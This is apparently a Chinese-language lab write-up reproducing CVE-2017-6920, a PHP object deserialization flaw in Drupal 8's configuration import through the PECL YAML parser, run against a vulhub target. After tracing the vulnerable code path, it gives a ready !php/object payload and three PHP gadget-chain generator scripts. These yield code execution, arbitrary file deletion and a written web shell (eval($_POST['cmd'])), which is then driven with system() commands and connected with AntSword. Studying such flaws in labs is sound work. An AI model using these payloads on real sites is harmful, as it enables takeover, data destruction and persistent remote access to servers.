CVE-2017-6920

Drupal Core 8 PECL YAML 反序列化远程代码执行漏洞(CVE-2017-6920)

概述

Drupal 是一个用 PHP 语言编写的开源内容管理框架(CMF),它既可以看作是一个内容管理系统(CMS),又可以看作是一个开发框架,并在 GNU 通用公共许可证下分发。Drupal 具有高度的灵活性和可扩展性,能够满足从简单博客到复杂企业网站等各种需求。

在使用 PECL YAML 解析器的 Drupal 8.x 至 8.3.4 版本中存在远程代码执行漏洞。该漏洞是由于 PECL YAML 解析器在某些操作期间无法安全地处理 PHP 对象,造成不安全反序列化,从而允许攻击者执行任意代码。

漏洞复现

靶场:vulhub/drupal/CVE-2017-6920

启动靶场以后,访问 http://192.168.2.243:8080/会跳转到 Drupal 的安装向导,该靶场没有数据库,数据库选择 SQLite,其余均默认随意安装即可。

image-20250817101558943

安装完成以后,会自动登录至创建的管理员用户。

访问如下网址:

http://192.168.2.243:8080/admin/config/development/configuration/single/import

该网址的路径为:配置 --> 开发 --> 配置同步 --> 导入 --> 单一项目

在该页面中的配置类型中选择 简单配置,配置名称随意,并在 将配置粘贴到此处 内填写配置,配置为要注入的 POC。

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

image-20250817102539087

随后点击导入,即可成功执行命令,导入的 POC 是查看 phpinfo,那么即可成功看到 phpinfo 的信息。

image-20250817102646858

接下来,下载一个 Durpal 8.3.0 的压缩包,解压后进行查看代码。

通过对比 8.3.0 于 8.3.4 版本,发现在 core/lib/Drupal/Component/Serialization/YamlPecl.php 中,8.3.4 存在一个方法 decode,官方提示 We never want to unserialize !php/object.,即漏洞触发点就在这个方法内。

该方法中存在一个代码:

$data = yaml_parse($raw, 0, $ndocs, [
      YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks',
    ]);

image-20250817113422583

在这串代码中表明,decode 方法的参数 $raw 被带入了 yaml_parse 函数中。查看 官方文档,发现该函数的第一个参数会被解析为 YAML 文档流。

image-20250817114317386

而在该文档的下方有一个警告:

Processing untrusted user input with yaml_parse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decode_php ini setting.

image-20250817114856903

这段话表明,PHP 的 YAML 解析器支持特殊语法 !php/object,他允许将 YAML 节点反序列化为 PHP 对象。

那么到此就明白了,如果方法 decode 的参数 $raw 可控,给这个参数传入一个序列化的字符串,并且在该字符串前加上 !php/object,那么就会触发反序列化。

接下来就要寻找方法 decode 在那些地方被调用了。

core/lib/Drupal/Component/Serialization/Yaml.php 中,存在这样一个方法:

public static function decode($raw) {
  $serializer = static::getSerializer();
  return $serializer::decode($raw);
}

image-20250817120201291

该方法会调用 $serializer 这个对象(或类)的 decode 方法,而 $serializer 这个对象(或类)具体是哪一个取决于 getSerializer 方法返回的是哪一个。

那么寻找 getSerializer 方法,同样在 Yaml 这个类中。

protected static function getSerializer() {

  if (!isset(static::$serializer)) {
	// Use the PECL YAML extension if it is available. It has better
	// performance for file reads and is YAML compliant.
	if (extension_loaded('yaml')) {
	  static::$serializer = YamlPecl::class;
	}
	else {
	  // Otherwise, fallback to the Symfony implementation.
      static::$serializer = YamlSymfony::class;
    }
  }
  return static::$serializer;
}

image-20250817120806700

该代码表明,如果服务器安装了 PECL YAML 扩展,那么返回的 static::$serializer 就是 YamlPecl 类,那么在这个 Yaml 类中的 decode 方法就会调用 YamlPecl 类中的 decode 方法,而显然该服务器上已经安装了 YAML 扩展,可以在前面看到的 phpinfo 中看到。

image-20250817134017705

YamlPecl 类中的 decode 方法正是想要触发反序列化的地方。

继续寻找哪里调用了 Yaml 类中的 decode 方法。

发现在 core/modules/config/src/Form/ConfigSingleImportForm.php 中存在 Yaml::decode,显然这就是要找到的函数。

image-20250817134558984

try {
  // Decode the submitted import.
  $data = Yaml::decode($form_state->getValue('import'));
}

这里对 import 值进行了 Ymal::decode 操作。

现在寻找可以由反序列化而触发的魔术方法,_destruct_wakeup 函数。

FnStream

vendor/guzzlehttp/psr7/src/FnStream.php 中找到了调用 _destruct 函数。

public function __destruct()
{
	if (isset($this->_fn_close)) {
		call_user_func($this->_fn_close);
	}
}

image-20250817140221822

该函数中的 call_user_func 函数作用可以查看 官方文档,整个析构函数就是在对象销毁时,会执行一个关闭回调函数,如果对象由这个关闭回调函数的话。

call_user_func($this->_fn_close) 的调用方式只能执行无参数函数。

WindowsPipes

/vendor/symfony/process/Pipes/WindowsPipes.php 中有如下这些函数。

public function __destruct()
{
	$this->close();
	$this->removeFiles();
}

private function removeFiles()
{
	foreach ($this->files as $filename) {
		if (file_exists($filename)) {
			@unlink($filename);
		}
	}
	$this->files = array();
}

image-20250817142628341

该函数会在对象销毁时,遍历删除 $this->files 中的文件。

FileCookieJar

/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php 中存在如下函数。

public function __destruct()
{
	$this->save($this->filename);
}
public function save($filename)
{
	$json = [];
	foreach ($this as $cookie) {
		/** @var SetCookie $cookie */
		if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
			$json[] = $cookie->toArray();
		}
	}

	$jsonStr = \GuzzleHttp\json_encode($json);
	if (false === file_put_contents($filename, $jsonStr)) {
		throw new \RuntimeException("Unable to save file {$filename}");
	}
}

image-20250817142243558

该函数会在对象销毁时,会自动将符合条件的 Cookie 数据序列化为 JSON 并保存到指定文件。

尝试写 Payload

尝试触发 FnStream 类。

<?php
namespace GuzzleHttp\Psr7; 
class FnStream {

    public function __construct(array $methods){

        $this->methods = $methods;

        foreach ($methods as $name => $fn) { 
            $property = '_fn_' . $name;
            $this->$property = $fn;
        } 
    }
 
    public function __destruct(){ 
        if (isset($this->_fn_close)) { 
            call_user_func($this->_fn_close); 
        }
    }
 
}
 
$obj1 = new FnStream(array('close'=>'phpinfo'));
$obj2 = serialize($obj1);
echo '!php/object "'.addslashes($obj2).'"';
echo "\n";
?>

执行该代码生成的 Payload 即可 代码执行 查看到 phpinfo 信息。

尝试触发 WindowsPipes 类。

<?php
namespace Symfony\Component\Process\Pipes;

require_once '/home/kali/injection/vulhub/drupal/CVE-2017-6920/AbstractPipes.php';

class WindowsPipes extends AbstractPipes
{
    private $files = array();
    public function __construct() {
        $this->files = [
            '/path/to/file.txt',
        ];
    }
    public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }
    public function getDescriptors(){}

    public function getFiles(){}

    public function readAndWrite($blocking, $close = false){}

    public function areOpen(){}

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = array();
    }
}

$obj1 = new WindowsPipes();
$obj2 = serialize($obj1);
echo '!php/object "'.addslashes($obj2).'"';
echo "\n";
?>

:此处中,该 poc.php 文件中要显式指定继承的 AbstractPipes 类的位置,同时因为 AbstractPipes 类是实现了 PipesInterface 接口,所以要在 AbstractPipes 类中增加如下一行代码:

require_once '/home/kali/injection/vulhub/drupal/CVE-2017-6920/PipesInterface.php';

从而显式地指定 PipesInterface 接口的位置。

这两个文件均可以在官网下载的压缩包中找到,与 WindowsPipes 处于相同路径。

此时可以进入容器,随意创建一个文件 test.txt,并生成 Payload,随后在配置处注入 Payload,并导入。

image-20250817161259633

image-20250817161357524

如此,即可执行 任意文件删除

尝试触发 FileCookieJar 类。

<?php
namespace GuzzleHttp\Cookie;

require_once '/home/kali/injection/vulhub/drupal/CVE-2017-6920/CookieJar.php';

class SetCookie {
    private $data;
    
    public function __construct($data) {
        $this->data = $data;
    }
    
    public function getName() {
        return isset($this->data['Name']) ? $this->data['Name'] : null;
    }
    
    public function getValue() {
        return isset($this->data['Value']) ? $this->data['Value'] : null;
    }
    
    public function getDomain() {
        return isset($this->data['Domain']) ? $this->data['Domain'] : null;
    }
    
    public function getPath() {
        return isset($this->data['Path']) ? $this->data['Path'] : '/';
    }
    
    public function getExpires() {
        return isset($this->data['Expires']) ? $this->data['Expires'] : null;
    }
    
    public function getDiscard() {
        return isset($this->data['Discard']) ? $this->data['Discard'] : false;
    }
    
    public function getSecure() {
        return isset($this->data['Secure']) ? $this->data['Secure'] : false;
    }
    
    public function matchesDomain($domain) {
        return $this->getDomain() === $domain;
    }
    
    public function matchesPath($path) {
        return $this->getPath() === $path;
    }
    
    public function isExpired() {
        return $this->getExpires() !== null && $this->getExpires() < time();
    }
    
    public function validate() {
        return true;
    }
    
    public function toArray() {
        return $this->data;
    }
}

class FileCookieJar extends CookieJar {
    private $filename = './shell.php';
    private $storeSessionCookies = true;

    public function __construct($cookieFile = null, $storeSessionCookies = false) {
        parent::__construct();
    }

    public function __destruct() {
        $this->save($this->filename);
    }

    public function save($filename) {
        $json = [];
        foreach ($this as $cookie) {
            if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                $json[] = $cookie->toArray();
            }
        }

        $jsonStr = json_encode($json);
        file_put_contents($filename, $jsonStr);
    }
}

$payload = new FileCookieJar();
$cookie = new SetCookie([
    'Name' => '<?php eval($_POST[\'cmd\']); ?>',
]);
$payload->setCookie($cookie);

$obj = serialize($payload);

echo '!php/object "'.addslashes($obj).'"';
echo "\n";
?>

此处,同样需要显示地指定 CookieJar 类的位置,CookieJar 类中也需指定 CookieJarInterface 类的位置。

随后生成 Payload,并在配置处注入 Payload。此时访问写入的文件路径:

http://192.168.2.243:8080/shell.php

body:
cmd=system('commond');

即可执行相应的命令。

image-20250817192841177

使用蚁剑连接。

image-20250817192943114

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇